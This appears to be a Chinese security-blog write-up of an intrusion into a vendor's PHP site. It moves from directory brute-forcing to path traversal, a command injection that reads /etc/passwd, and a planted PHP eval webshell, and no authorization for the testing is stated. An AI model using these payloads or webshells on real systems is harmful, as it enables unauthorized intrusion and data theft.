freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

记一次从目录爆破到命令注入的过程
2023-01-12 10:00:05
所属地 广东省

起因

最近看到一个漏洞,心血来潮突然想复现试一试,于是开始了fofa搜索资产之旅。意外发现资产归属的厂商的另外一个资产,看起来很好欺负,于是开始测试一番。

1673442271_63beb3dfaec43789ecd97.png!small?1673442272997

目录爆破

测试第一步,首先是信息搜集,这里简单扫了一下开放端口和服务,并没有发现什么有用的,这里不赘述。通过Wappalyzer插件,知晓了资产基本信息,嗯,是php站。

1673442564_63beb504602f079cff1d8.png!small?1673442565096

接下来根据资产和厂商的信息构建了一份字典,开始了经典的暴力破解,当然,结果也很经典,无果。于是又开始了经典的扫目录环节,这里选用的 dirsearch,非常好用。扫描不久便有了惊喜,存在几处可访问的路径。

1673442837_63beb615c71443a2b2e3a.png!small?1673442838947

这里发现了可疑路径/downloader.php,拼接访问一下看看,发现还需要参数才能正常访问。

1673443119_63beb72fb387085e52da7.png!small?1673443120631

任意文件下载

遇到这种情况,当然是模糊测试啦。这个页面盲猜需要参数读取文件,当然,手熟的师傅一眼就看出来了。这里还是正常操作,fuzz参数一下。打开burpsuit,拦包,发送到测试器,打开参数测试字典,因为之前信息收集得知主机系统可能是ubuntu,所以拼接一个../../../../../../../../etc/passwd,跑起来。1673443644_63beb93c30a41f8262571.png!small?1673443645110

1673443673_63beb95960c5582e67611.png!small?1673443674211

仅仅不到10秒钟,便有了结果,排除一个误报,一个任意文件下载漏洞便入手了。

1673443821_63beb9ed6bc8d45b422f2.png!small?1673443822298

1673443897_63beba3999cb8194bf0c4.png!small?1673443898205

代码审计

当然,到这里也并不满足,因为不知道内部的路径信息,只能先来个经典的我下我自己,于是便把downloader.php页面下载下来了。

1673444151_63bebb37af55d1be0b55f.png!small?1673444152310

既然有了这个页面的源代码,于是就审计一番,看看有什么其它可利用的信息,源代码内部可能存在其它物理路径,凭证信息等等,本质上就是再次信息收集。这里用vscode打开瞅一瞅,一眼便看到文件读取的触发点,写的真是简单又实在,追踪了一下参数,确实毫无过滤,怪不得如此顺利。

1673453874_63bee1328313a2a7013db.png!small?1673453875186

1673444849_63bebdf14e31d61386b26.png!small?1673444850228

命令注入

这时上下略看一眼,发现了页面中包含多个system函数进行数据处理,于是全局搜索了一下system(,定位一下位置,但是大多数system函数传入的参数都使用了escapeshellcmd函数进行了过滤,此时先审计未过滤的system函数。

1673454208_63bee280bf8dfed34497b.png!small?1673454209378

对第一处system函数传入的参数进行追踪,发现传入的参数,都来自内部配置文件且参数经过escapeshellcmd函数过滤,外部无法操控,遂放弃。

1673454958_63bee56e6a86f2c0af00a.png!small?1673454959244

1673454700_63bee46ca8fe90934e6c0.png!small?1673454701420

第二处system函数看了一眼直接放弃。

1673454882_63bee5221c78e5e1acd50.png!small?1673454883187

第三处system函数在对file的后缀进行选择判断的分支处,可以看出如果file的后缀为.zip,则在此处执行,$cmd参数的有一个明显的拼接且无任何过滤,默认条件下会直接进入第二处if判断的else部分执行,由此看出,如果$site参数如果能控制即可完成命令注入,传入的参数也只需要用;分隔堆叠绕过即可。

1673455329_63bee6e1dcd0c14d46298.png!small?1673455330534

这时直接在url中如此拼接参数?file=.zip&site=;cat /etc/passwd;,尝试访问,成功!

1673455979_63bee96ba1ca2abee567b.png!small?1673455980397

哥斯拉上线

此时就比较简单了,直接命令执行echo <?eval($_POST["pass"]);?>test.php写入webshell,哥斯拉链接测试,成功。

1673456318_63beeabe7ec05a45c371e.png!small?1673456319164

结语

其实上文看起来一切都很顺利,但在整个过程中也进行了很多无用操作,这些都是无法避免的,渗透过程往往都是磕磕绊绊的。渗透的过程就是通过信息收集去发现漏洞,通过漏洞再获取更多信息从而进入更深度的渗透过程从而达到目的。这样一次从目录爆破到命令的注入的过程整体上来说是简单清晰的,希望能给予各位师傅一点思路和经验。

# 渗透测试 # 网络安全 # web安全 # 漏洞分析 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录